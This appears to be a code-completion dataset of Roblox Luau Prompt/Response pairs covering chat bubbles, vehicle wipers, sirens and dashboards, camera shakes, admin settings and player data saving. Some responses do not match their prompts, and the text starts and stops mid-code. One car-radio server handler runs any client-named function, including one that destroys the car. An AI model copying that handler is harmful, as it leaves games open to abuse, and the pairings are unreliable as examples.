	local chatBubbleMain = Instance.new("ImageLabel")
	chatBubbleMain.Name = "ChatBubble"
	chatBubbleMain.ScaleType = Enum.ScaleType.Slice
	chatBubbleMain.SliceCenter = sliceRect
	chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
	chatBubbleMain.BackgroundTransparency = 1
	chatBubbleMain.BorderSizePixel = 0
	chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0)
	chatBubbleMain.Position = UDim2.new(0, 0, 0, 0)

	return chatBubbleMain
end

function createChatBubbleTail(position, size)
	local chatBubbleTail = Instance.new("ImageLabel")
	chatBubbleTail.Name = "ChatBubbleTail"
	chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png"
	chatBubbleTail.BackgroundTransparency = 1
	chatBubbleTail.BorderSizePixel = 0
	chatBubbleTail.Position = position
	chatBubbleTail.Size = size

	return chatBubbleTail
end

function createChatBubbleWithTail(filePrefix, position, size, sliceRect)
	local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)

	local chatBubbleTail = createChatBubbleTail(position, size)
	chatBubbleTail.Parent = chatBubbleMain

	return chatBubbleMain
end

function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect)
	local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)

	local frame = Instance.new("Frame")
	frame.Name = "ChatBubbleTailFrame"
	frame.BackgroundTransparency = 1
	frame.SizeConstraint = Enum.SizeConstraint.RelativeXX
	frame.Position = UDim2.new(0.5, 0, 1, 0)
	frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0)
	frame.Parent = chatBubbleMain

	local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1, 0, 0.5, 0))
	chatBubbleTail.Parent = frame

	return chatBubbleMain
end

function createChatImposter(filePrefix, dotDotDot, yOffset)
	local result = Instance.new("ImageLabel")
	result.Name = "DialogPlaceholder"
	result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
	result.BackgroundTransparency = 1
	result.BorderSizePixel = 0
	result.Position = UDim2.new(0, 0, -1.25, 0)
	result.Size = UDim2.new(1, 0, 1, 0)

	local image = Instance.new("ImageLabel")
	image.Name = "DotDotDot"
	image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png"
	image.BackgroundTransparency = 1
	image.BorderSizePixel = 0
	image.Position = UDim2.new(0.001, 0, yOffset, 0)
	image.Size = UDim2.new(1, 0, 0.7, 0)
	image.Parent = result

	return result
end

local this = {}
this.ChatBubble = {}
this.ChatBubbleWithTail = {}
this.ScalingChatBubbleWithTail = {}
this.CharacterSortedMsg = createMap()


Prompt: --	HitSound:Play()

Response:
	ball.Parent = nil
end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild("creator")
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

wait(5)
ball.Parent = nil


Prompt: --------AUDIENCE BACK LEFT--------

Response:
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(1013)


Prompt: --Thanks for this, Zeph. Hope you don't mind that I essentially stole this :P

Response:
local IntWait = 1
local MD = script.Parent.WPR.SS.Motor
local MD2 = script.Parent.WPR2.SS.Motor

script.Parent.Parent.DriveSeat.Wipers.Changed:Connect(function()
	if script.Parent.Parent.DriveSeat.Wipers.Value == true then
		repeat
			MD.DesiredAngle = -1.51
			MD2.DesiredAngle = -1.51
			script.Parent.WPR.wiper2["Wiper Sound"]:Play()
			wait(IntWait)
			MD.DesiredAngle = 0
			MD2.DesiredAngle = 0
			wait(IntWait/2)
		until script.Parent.Parent.DriveSeat.Wipers.Value == false
		MD.DesiredAngle = 0
		MD2.DesiredAngle = 0
		script.Parent.WPR.wiper2["Wiper Sound"]:Stop()
	end
end)


Prompt: --[[ END OF SERVICES ]]

Response:
local LocalPlayer = PlayersService.LocalPlayer
while LocalPlayer == nil do
	PlayersService.ChildAdded:wait()
	LocalPlayer = PlayersService.LocalPlayer
end

local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")

local success, UserShouldLocalizeGameChatBubble = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble")
end)
local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble

local UserFixBubbleChatText do
	local success, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixBubbleChatText")
	end)
	UserFixBubbleChatText = success and value
end

local UserRoactBubbleChatBeta do
	local success, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserRoactBubbleChatBeta")
	end)
	UserRoactBubbleChatBeta = success and value
end

local UserPreventOldBubbleChatOverlap do
	local success, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserPreventOldBubbleChatOverlap")
	end)
	UserPreventOldBubbleChatOverlap = success and value
end

local function getMessageLength(message)
	return utf8.len(utf8.nfcnormalize(message))
end


Prompt: -- Connect prompt events to handling functions


Prompt: --// Handling Settings

Response:
	Firerate = 60 / 200; -- 60 = 1 Minute, 200 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!

	FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive


Prompt:
-- Function which acquires the currently idle handler runner thread, runs the
-- function fn on it, and then releases the thread, returning it to being the
-- currently idle one.
-- If there was a currently idle runner thread already, that's okay, that old
-- one will just get thrown and eventually GCed.

Response:
local function acquireRunnerThreadAndCallEventHandler(fn, ...)
	local acquiredRunnerThread = freeRunnerThread
	freeRunnerThread = nil
	fn(...)
	-- The handler finished running, this runner thread is free again.
	freeRunnerThread = acquiredRunnerThread
end


Prompt:
--[[
	Remove the range from the list starting from the index.
]]

Response:
function Immutable.RemoveRangeFromList(list, index, count)
	local new = {}

	for i = 1, #list do
		if i < index or i >= index + count then
			table.insert(new, list[i])
		end
	end

	return new
end


Prompt:
--[[

	CameraShakePresets.Bump
	CameraShakePresets.Explosion
	CameraShakePresets.Earthquake
	CameraShakePresets.BadTrip
	CameraShakePresets.HandheldCamera
	CameraShakePresets.Vibration
	CameraShakePresets.RoughDriving

--]]

Response:
local CameraShakeInstance = require(script.Parent.CameraShakeInstance)

local CameraShakePresets = {

	-- A high-magnitude, short, yet smooth shake.
	-- Should happen once.
	Bump = function()
		local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.35)
		c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15)
		c.RotationInfluence = Vector3.new(1, 1, 1)
		return c
	end;

	HandheldCamera = function()
		local c = CameraShakeInstance.new(.1, .1, .1, 0.25)
		c.PositionInfluence = Vector3.new(0,0,0)
		c.RotationInfluence = Vector3.new(0.5, 0.5, 0.5)
		return c
	end;

	-- An intense and rough shake.
	-- Should happen once.
	Explosion = function()
		local c = CameraShakeInstance.new(5, 10, 0, 1.5)
		c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
		c.RotationInfluence = Vector3.new(4, 1, 1)
		return c
	end;

	-- A continuous, rough shake
	-- Sustained.
	Earthquake = function()
		local c = CameraShakeInstance.new(0.6, 3.5, 2, 10)
		c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
		c.RotationInfluence = Vector3.new(1, 1, 4)
		return c
	end;

	-- A bizarre shake with a very high magnitude and low roughness.
	-- Sustained.
	BadTrip = function()
		local c = CameraShakeInstance.new(10, 0.15, 5, 10)
		c.PositionInfluence = Vector3.new(0, 0, 0.15)
		c.RotationInfluence = Vector3.new(2, 1, 4)
		return c
	end;

	-- A subtle, slow shake.
	-- Sustained.

	-- A very rough, yet low magnitude shake.
	-- Sustained.
	Vibration = function()
		local c = CameraShakeInstance.new(0.4, 20, 2, 2)
		c.PositionInfluence = Vector3.new(0, 0.15, 0)
		c.RotationInfluence = Vector3.new(1.25, 0, 4)
		return c
	end;

	-- A slightly rough, medium magnitude shake.
	-- Sustained.
	RoughDriving = function()
		local c = CameraShakeInstance.new(1, 2, 1, 1)
		c.PositionInfluence = Vector3.new(0, 0, 0)
		c.RotationInfluence = Vector3.new(1, 1, 1)
		return c
	end;

}

return setmetatable({}, {
	__index = function(t, i)
		local f = CameraShakePresets[i]
		if (type(f) == "function") then
			return f()
		end
		error("No preset found with index \"" .. i .. "\"")
	end;
})


Prompt:
--[[

	symbol = Symbol.new(id: string [, scope: Symbol])

	Symbol.Is(obj: any): boolean
	Symbol.IsInScope(obj: any, scope: Symbol): boolean

--]]

Response:
local CLASSNAME = "Symbol"

local Symbol = {}
Symbol.__index = Symbol

function Symbol.new(id, scope)
	assert(id ~= nil, "Symbol ID cannot be nil")
	if (scope ~= nil) then
		assert(Symbol.Is(scope), "Scope must be a Symbol or nil")
	end
	local self = setmetatable({
		ClassName = CLASSNAME;
		_id = id;
		_scope = scope;
	}, Symbol)
	return self
end

function Symbol.Is(obj)
	return (type(obj) == "table" and getmetatable(obj) == Symbol)
end

function Symbol.IsInScope(obj, scope)
	return (Symbol.Is(obj) and obj._scope == scope)
end

function Symbol:__tostring()
	return ("Symbol<%s>"):format(self._id)
end

return Symbol


Prompt:
--[=[
	Flat map equivalent for brios. The resulting observables will
	be disconnected at the end of the brio.

	@deprecated 3.6.0 -- This method does not wrap the resulting value in a Brio, which can sometimes lead to leaks.
	@param project (value: TBrio) -> TProject
	@param resultSelector ((initial TBrio, value: TProject) -> TResult)?
	@return (source: Observable<Brio<TBrio>> -> Observable<TResult>)
]=]

Response:
function RxBrioUtils.flatMap(project, resultSelector)
	assert(type(project) == "function", "Bad project")

	warn("[RxBrioUtils.flatMap] - Deprecated since 3.6.0. Use RxBrioUtils.flatMapBrio")

	return Rx.flatMap(RxBrioUtils.mapBrio(project), resultSelector)
end


Prompt: --------------| SYSTEM SETTINGS |--------------

Response:
Prefix				= ";";			-- The character you use before every command (e.g. ';jump me').
SplitKey 			= " ";			-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey 			= "";			-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey 	= ",";			-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)

Theme				= "Blue";		-- The default UI theme.
NoticeSoundId		= 2865227271;	-- The SoundId for notices.
NoticeVolume		= 0.1;			-- The Volume for notices.
NoticePitch			= 1;			-- The Pitch/PlaybackSpeed for notices.
ErrorSoundId		= 2865228021;	-- The SoundId for error notifications.
ErrorVolume			= 0.1;			-- The Volume for error notifications.
ErrorPitch			= 1;			-- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId		= 9161622880;	-- The SoundId for alerts.
AlertVolume			= 0.5;			-- The Volume for alerts.
AlertPitch			= 1;			-- The Pitch/PlaybackSpeed for alerts.

WelcomeBadgeId		= 0;			-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.

CommandDebounce		= true;			-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank			= true;			-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands		= 3;			-- The minimum rank required to use LoopCommands.
MusicList 			= {};	-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.

ThemeColors = {						-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
	{"Red", 	Color3.fromRGB(150, 0, 0),		};
	{"Orange", 	Color3.fromRGB(150, 75, 0),		};
	{"Brown", 	Color3.fromRGB(120, 80, 30),	};
	{"Yellow", 	Color3.fromRGB(130, 120, 0),	};
	{"Green", 	Color3.fromRGB(0, 120, 0),		};
	{"Blue", 	Color3.fromRGB(0, 100, 150),	};
	{"Purple", 	Color3.fromRGB(100, 0, 150),	};
	{"Pink",	Color3.fromRGB(150, 0, 100),	};
	{"Black", 	Color3.fromRGB(60, 60, 60),		};
};

Colors = {							-- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
	{"r", 		"Red",		 		Color3.fromRGB(255, 0, 0)		};
	{"o", 		"Orange",	 		Color3.fromRGB(250, 100, 0)		};
	{"y", 		"Yellow",			Color3.fromRGB(255, 255, 0)		};
	{"g", 		"Green"	,			Color3.fromRGB(0, 255, 0)		};
	{"dg", 		"DarkGreen"	, 		Color3.fromRGB(0, 125, 0)		};
	{"b", 		"Blue",		 		Color3.fromRGB(0, 255, 255)		};
	{"db", 		"DarkBlue",			Color3.fromRGB(0, 50, 255)		};
	{"p", 		"Purple",	 		Color3.fromRGB(150, 0, 255)		};
	{"pk",		"Pink",		 		Color3.fromRGB(255, 85, 185)	};
	{"bk",		"Black",		 	Color3.fromRGB(0, 0, 0)			};
	{"w",		"White",	 		Color3.fromRGB(255, 255, 255)	};
};
ChatColors = {						-- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
	[5] 		= "Yellow";
};

Cmdbar						= 1;			-- The minimum rank required to use the Cmdbar.
Cmdbar2						= 3;			-- The minimum rank required to use the Cmdbar2.
ViewBanland					= 3;			-- The minimum rank required to view the banland.
OnlyShowUsableCommands		= false;		-- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage		= {				-- || The pages on the main menu ||
	["Commands"]		= 0;
	["Admin"]			= 0;
	["Settings"]		= 0;
};
RankRequiredToViewRank		= {				-- || The rank categories on the 'Ranks' subPage under Admin ||
	["Owner"]			= 0;
	["HeadAdmin"]		= 0;
	["Admin"]			= 0;
	["Mod"]				= 0;
	["VIP"]				= 0;
};
RankRequiredToViewRankType	= {				-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
	["Owner"]			= 0;
	["SpecificUsers"]	= 5;
	["Gamepasses"] 		= 0;
	["Assets"] 			= 0;
	["Groups"] 			= 0;
	["Friends"] 		= 0;
	["FreeAdmin"] 		= 0;
	["VipServerOwner"] 	= 0;
};
RankRequiredToViewIcon		= 0;

WelcomeRankNotice			= true;			-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice			= true;			-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix			= true;			-- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices			= false;		-- Set to true to disable all HD Admin notices.

ScaleLimit					= 4;			-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit			= 3;			-- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits				= {				-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
	["fly"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["fly2"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["noclip"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["noclip2"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["speed"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["jumpPower"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
};
CommandLimitPerMinute		= 60; -- Command limit per admin per minute
IgnoreCommandLimitPerMinute = 4; -- Rank requires to ignore limit

VIPServerCommandBlacklist	= {"permRank", "permBan", "globalAnnouncement"};	-- Commands players are probihited from using in VIP Servers.
GearBlacklist				= {67798397, 1055299};	-- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist			= 4;			-- The minimum rank required to ignore the gear blacklist.

PlayerDataStoreVersion		= "V1.0";		-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion		= "V1.0";		-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.

CoreNotices					= {				-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
	--NoticeName = NoticeDetails;
};

ChatVoiceAutoEnabled		= false;
ChatVoiceRequiredRank		= 0;


Prompt:
-- Called when the client receives a new look-angle
-- value from the server. This is also called continuously
-- on the client to update the player's view with no latency.

Response:
function CharacterRealism:OnLookReceive(player, pitch, yaw)
	local character = player.Character
	local rotator = self.Rotators[character]

	if rotator then
		rotator.Pitch.Goal = pitch
		rotator.Yaw.Goal = yaw
	end
end


Prompt: --						script.Parent.Parent.Body.Dash.Screen.G.Radio.Select.Position = UDim2.new(0, 0, 0, 60)

Response:
					end
			end
	end
end)

script.Parent.ChildRemoved:connect(function(child)
	if child:IsA("Weld") then
		if child.Part1.Name == "HumanoidRootPart" then
			game.Workspace.CurrentCamera.FieldOfView = 70
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and player.PlayerGui:FindFirstChild("SS3") then
				player.PlayerGui:FindFirstChild("SS3"):Destroy()
				script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
				script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = true
				script.Parent.Parent.Body.Dash.DashSc.G.Select:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true)
					script.Parent.Parent.Body.Dash.DashSc.G.Frame:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true)
						script.Parent.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Visible = false
						script.Parent.Parent.Body.Dash.DashSc.G.Modes.Info.Visible = false
						script.Parent.Parent.Body.Dash.DashSc.G.Modes.MPG.Visible = false
						script.Parent.Parent.Body.Dash.DashSc.G.Modes.Stats.Visible = false
						script.Parent.Parent.Body.Dash.DashSc.G.Unit.Text = "Goodbye"
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.1
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.2
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.3
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.4
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.5
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.6
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.7
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.8
						script.Parent.Parent.Body.Dash.Spd.G.LightInfluence = .5
						script.Parent.Parent.Body.Dash.Tac.G.LightInfluence = .5
						script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.3
						script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.3
						script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.3
						script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.3
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.9
						script.Parent.Parent.Body.Dash.Spd.G.LightInfluence = 1
						script.Parent.Parent.Body.Dash.Tac.G.LightInfluence = 1
						script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.7
						script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.7
						script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.7
						script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.7
						wait(0.2)
						script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 1
						script.Parent.Parent.Body.Dash.Spd.G.LightInfluence = 1.8
						script.Parent.Parent.Body.Dash.Tac.G.LightInfluence = 1.8
						script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 1
						script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 1
						script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 1
						script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 1
						wait(.4)
						script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = false
						script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
						script.Parent.Occupied.Value = false
			end
		end
	end
end)


Prompt: -- Function to save player's data

Response:
local function savePlayerData(playerUserId)
	if sessionData[playerUserId] then
		local success,data = pcall(function()
			--NOTE!!! adding this print adds save if remove then save is lost
			print("Money --> before SetAsync ",sessionData[playerUserId]["Money"])
			playerData:SetAsync(playerUserId, sessionData[playerUserId])
			print("Money --> After SetAsync ",sessionData[playerUserId]["Money"])
			wait()
		end)
		if not success then
			warn("Cannot save data for player!-------------------------------------->")
			warn("----------------------savePlayerData----------------------------------------------")
			warn("What is the reason ",data)
		end
	end
end

function PlayerStatManager:getPlayerData(player)
	local playerUserId = "Player_" .. player.UserId
	local succes,data = pcall(function()
		print("Got player data---------------------->")
		return sessionData[playerUserId]
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:getPlayerData----------->")
		print(data)
		return nil
	else
		return data
	end

end

function PlayerStatManager:getStat(player,statName)
	local succes,data = pcall(function()
		local playerUserId = "Player_" .. player.UserId
		return sessionData[playerUserId][statName]
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:getStat----------->")
		print(data)
		return nil
	else
		return data
	end
end

function PlayerStatManager:saveStat(player,statName,value)
	local succes,err = pcall(function()
		local playerUserId = "Player_" .. player.UserId
		sessionData[playerUserId][statName] = value
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:saveStat----------->")
		print(err)
	end
end

function PlayerStatManager:getStatInTycoonPurchases(player,statName)
	local succes,data = pcall(function()
		local playerUserId = "Player_" .. player.UserId
		return sessionData[playerUserId]["TycoonPurchases"][statName]
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:getTycoonPurchases----------->")
		print(data)
		return nil
	else
		return data
	end
end

function PlayerStatManager:setPlayerSessionDataToNil(player)
	if player ~= nil then
		local playerUserId = "Player_" .. player.UserId
		if sessionData[playerUserId] then
			sessionData[playerUserId] = nil
		end
	end
end


Prompt: -- removes a BezierPoint from the Bezier

Response:
function Bezier:RemoveBezierPoint(index: number)

	-- check if the point exists
	if self.Points[index] then

		-- remove point and remove connections
		local point = table.remove(self.Points, index)
		if typeof(point.Point) == "Instance" and point.Point:IsA("BasePart") then
			for i, connection in pairs(self._connections[point.Point]) do
				if connection.Connected then
					connection:Disconnect()
				end
			end
			self._connections[point.Point] = nil
		end

		-- update bezier
		self:UpdateLength()
	end
end


Prompt: -- Variables

Response:
local footstepModule = require(replicatedStorage:WaitForChild("FootstepModule"))
local RunService = game:GetService("RunService")

local player = players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")

local rootPart = character:WaitForChild("HumanoidRootPart")


Prompt: -- Removing an arc from the running system

Response:
function System.remove(arc)
	if arcInstances[arc] then
		arcInstances[arc] = nil
		dynamicInstances[arc] = nil
		numInstances = numInstances - 1
		arc.segmentsFolder.Parent = nil
		arc.part.Parent = nil
		updateConnection()
	end
end

return System


Prompt:
--F.updateSound = function(Sound, Pitch, Volume)
--	if Sound then
--		if Pitch then
--			Sound.Pitch = Pitch
--		end
--		if Volume then
--			Sound.Volume = Volume
--		end
--	end
--end

Response:
F.updateWindows = function(Window, Toggle)
	if script.Parent.Parent.Windows:findFirstChild(Window) then
		script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle
	end
end

F.volumedown = function(VolDown)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1
end

F.volumeup = function(VolUp)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
end

F.fm = function(ok)
	carSeat.Parent.Body.MP.Sound:Stop()
	carSeat.Stations.mood.Value = ok
end

F.updateSong = function(id)
	carSeat.Stations.mood.Value = 5
	carSeat.Parent.Body.MP.Sound:Stop()
	wait()
	carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id
	wait()
	carSeat.Parent.Body.MP.Sound:Play()
end

F.pauseSong = function()
	carSeat.Stations.mood.Value = 5
	carSeat.Parent.Body.MP.Sound:Stop()
end

F.updateVolume = function(Vol)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5
end

F.updateValue = function(Val, Value)
	if Val then
		Val.Value = Value
	end
end

F.FEInfo = function()
	carSeat.Parent.Body.Dash.Screen.G.Enabled = true
	wait(.1)
	carSeat.Parent.Body.Dash.Screen.G.FE.Visible = true
end

F.delete = function(plr)
	workspace[plr]:FindFirstChildOfClass("Humanoid").Jump = true
	wait(1)
	carSeat.Parent:Destroy()
end

F.PM = function(m,p)
	carSeat.Mode.Value = m
	carSeat.PMult.Value = p
end

F.reverse = function(yes)
	carSeat.Parent.Misc.TK.RV.Material = yes and "Neon" or "SmoothPlastic"
end

F.Dyn = function(h)
	carSeat.Parent.Wheels.FL.Spring.FreeLength = h
	carSeat.Parent.Wheels.FR.Spring.FreeLength = h
	carSeat.Parent.Wheels.RL.Spring.FreeLength = h
	carSeat.Parent.Wheels.RR.Spring.FreeLength = h
end

script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)


Prompt:
--///////////////////////// Constructors
--//////////////////////////////////////

Response:
function module.new(vChatService, name)
	local obj = setmetatable({}, methods)

	obj.ChatService = vChatService

	obj.PlayerObj = nil

	obj.Name = name
	obj.ExtraData = {}

	obj.Channels = {}
	obj.MutedSpeakers = {}
	obj.EventFolder = nil

	return obj
end

return module


Prompt: --// # key, ManOn

Response:
mouse.KeyDown:connect(function(key)
	if key=="h" then
		veh.Lightbar.middle.Man:Play()
		veh.Lightbar.middle.Wail.Volume = 0
		veh.Lightbar.middle.Yelp.Volume = 0
		veh.Lightbar.middle.Priority.Volume = 0
		script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
		veh.Lightbar.MANUAL.Transparency = 0
	end
end)


Prompt:
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>

	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here

Response:
car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(-1,-.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
	end
end)


Prompt: --Runtime Loop

Response:
while wait() do
	for i,v in pairs(Wheels) do
		--Vars
		local speed = car.DriveSeat.Velocity.Magnitude
		local wheel = v.wheel.RotVelocity.Magnitude
		local z = 0
		local deg = 0.000126

		--Tire Wear
		local cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y)
		local wdif = math.abs(wheel-cspeed)
		if _WHEELTUNE.TireWearOn then
			if speed < 4 then
				--Wear Regen
				v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)
			else
				--Tire Wear
				if wdif > 1 then
					v.Heat = v.Heat - wdif*deg*v.WearSpeed/28
				elseif v.Heat >= v.BaseHeat then
					v.Heat = v.BaseHeat
				end
			end
		end

		--Apply Friction
		if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then
			z = _WHEELTUNE.FMinFriction+v.Heat
			deg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)
		else
			z = _WHEELTUNE.RMinFriction+v.Heat
		end

		--Tire Slip
		if math.ceil((wheel/0.774/speed)*100) < 8 then
			--Lock Slip
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		elseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then
			--TCS Off
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		elseif math.ceil((wheel/0.774/speed)*100) > 130 then
			--Wheelspin
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		else
			--No Slip
